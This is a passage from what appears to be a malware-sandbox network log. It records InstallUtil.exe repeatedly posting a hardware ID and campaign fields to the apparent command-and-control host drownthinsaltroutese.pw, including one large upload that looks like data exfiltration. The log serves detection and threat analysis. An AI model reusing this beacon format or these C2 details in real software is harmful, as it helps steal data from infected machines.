2024-01-07 04:29:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49750	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:53 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 629 Host: drownthinsaltroutese.pw
2024-01-07 04:29:53 UTC	629	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:29:53 UTC	1331	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u31etaoee342iqlo70etjof26n; expires=Wed, 01-May-2024 22:16:32 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:53 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:53 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:53 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Llv9ZmF8CnVi0YyjtE2TSDsh7fPo9DsUtB0Bc7YimydrHGmoKQWpGkzdx6Q4ZzsQNlfUKeptORDRS3O%2FWUfimYZkIm%2Biww1EdicJDSXCE1hkPptqfBp56zTmwoVy7YOhUHVoOuedpWcbsQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 841976599a7bc358-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:53 UTC	28	IN	Data Raw: 31 36 0d 0a 44 65 62 75 67 20 64 61 74 61 20 69 73 20 64 69 73 61 62 6c 65 64 0d 0a Data Ascii: 16Debug data is disabled
2024-01-07 04:29:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49752	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:54 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 629 Host: drownthinsaltroutese.pw
2024-01-07 04:29:54 UTC	629	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:29:54 UTC	1337	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m4gsk3jp7urt52ioedpero7jd1; expires=Wed, 01-May-2024 22:16:33 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:54 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:54 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:54 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=a2Rn%2Flisdt%2BuThf42JtQbG3DxMN3vYyChwrJUdle1Fl8HDCjIhXMr2awTS4JclHi5cxqcQiYUKZWVFcfcLAhHi2aNAbZOK%2FjsKM%2B4ruRm0zoyy%2FoIZpt5EQgejozVZcHWdTcLQxW76DSJg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8419765dae144249-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:54 UTC	28	IN	Data Raw: 31 36 0d 0a 44 65 62 75 67 20 64 61 74 61 20 69 73 20 64 69 73 61 62 6c 65 64 0d 0a Data Ascii: 16Debug data is disabled
2024-01-07 04:29:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49753	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:54 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 629 Host: drownthinsaltroutese.pw
2024-01-07 04:29:54 UTC	629	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:29:55 UTC	1343	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cdjdiv2litej8m016vmtn2lhhg; expires=Wed, 01-May-2024 22:16:33 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:54 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:54 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:54 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4NadyjoWDcz21%2BQmp9sPavY5YE3x53%2B355UXzwBGG0RtfbtAK7jKWt%2BVZYqVP4uyufW05w8vI%2BmRNs%2BT25NBPgC%2BtHK%2FE65mRpedIpcd4m0fOTbBSktB65wHSiQlMC1MSnzuCRw7%2FfZ70Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84197661a8e6c427-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:55 UTC	26	IN	Data Raw: 31 36 0d 0a 44 65 62 75 67 20 64 61 74 61 20 69 73 20 64 69 73 61 62 6c 65 64 Data Ascii: 16Debug data is disabled
2024-01-07 04:29:55 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49756	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:55 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 9609 Host: drownthinsaltroutese.pw
2024-01-07 04:29:55 UTC	9609	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:29:55 UTC	1337	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=asfvv445t48unmve7qjr1lhkuh; expires=Wed, 01-May-2024 22:16:34 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:55 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:55 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:55 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6wwMc24y7a%2FPVdbHvd%2FHrKn%2BqJwlqntJiO7KGE890pPqub%2FoN0ImNhFG9mRv4VIwo4F7fuNaekksjEk6jCyWyBKdzOLvcrF6HgcevpEViir5U4jzXEyU0msRegpCA3WoLKoB0b4VtB%2BSdg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84197664fc4932d3-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:55 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 31 37 36 0d 0a Data Ascii: 11ok 191.96.227.176
2024-01-07 04:29:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49758	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:55 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 629 Host: drownthinsaltroutese.pw
2024-01-07 04:29:55 UTC	629	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:29:56 UTC	1331	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j4ck9pimv5b14mhuuau6n8u5ot; expires=Wed, 01-May-2024 22:16:35 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:56 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:56 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:56 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=R6yWwShlfjQObKtXxR1QaMqiPcdN32TgBPpF2rQ12ig9eDE7sUAAuXncpSB5v7ISpkqYy%2Bqf8B22d94u1LCYJyHh9WjzEWsItPt6BLo4Mp3HZ2FY2V%2F2mN9LCLbKR8YQXYpZLUPMfd9cDw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 841976699f181a0f-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:56 UTC	28	IN	Data Raw: 31 36 0d 0a 44 65 62 75 67 20 64 61 74 61 20 69 73 20 64 69 73 61 62 6c 65 64 0d 0a Data Ascii: 16Debug data is disabled
2024-01-07 04:29:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49759	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:56 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 629 Host: drownthinsaltroutese.pw
2024-01-07 04:29:56 UTC	629	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:29:57 UTC	1337	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4u35iqm81adtpn8jgkge0gvsdt; expires=Wed, 01-May-2024 22:16:35 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:56 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:56 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:56 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MccQArAAkDm5FDy%2F0bKKXMX7wgOjCPWkRHsJRI3LjgD6T%2BbFa7u2GXo5Xa%2BrYoaHwl%2F4sWDwneE6oFx5q8OkUus4CBFkLX6GOzdHUvcKGE8XD1TTNFVwSGZBKdC8uSVs%2Fgowb0cT7CarkQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8419766dbaa6c44a-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:57 UTC	28	IN	Data Raw: 31 36 0d 0a 44 65 62 75 67 20 64 61 74 61 20 69 73 20 64 69 73 61 62 6c 65 64 0d 0a Data Ascii: 16Debug data is disabled
2024-01-07 04:29:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49760	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:57 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 629 Host: drownthinsaltroutese.pw
2024-01-07 04:29:57 UTC	629	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:29:57 UTC	1339	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mb73438p1k48t3vedncfffn80l; expires=Wed, 01-May-2024 22:16:36 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:57 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:57 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:57 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=k9pw3VsM7GilQb50wXcvS6rwB%2B4n5qkntQbxAribglyTVc%2BP%2BPcLeuMqawS%2BJeaSNk4w%2FEVBQRY39hbt8tvUfUgw9BoKf07GX5duU%2FfcNUBHF7AqJM76hACLYAKTmdSzkDNcojNTPMKaJQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84197671ade4c330-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:57 UTC	28	IN	Data Raw: 31 36 0d 0a 44 65 62 75 67 20 64 61 74 61 20 69 73 20 64 69 73 61 62 6c 65 64 0d 0a Data Ascii: 16Debug data is disabled
2024-01-07 04:29:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49762	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:57 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 629 Host: drownthinsaltroutese.pw
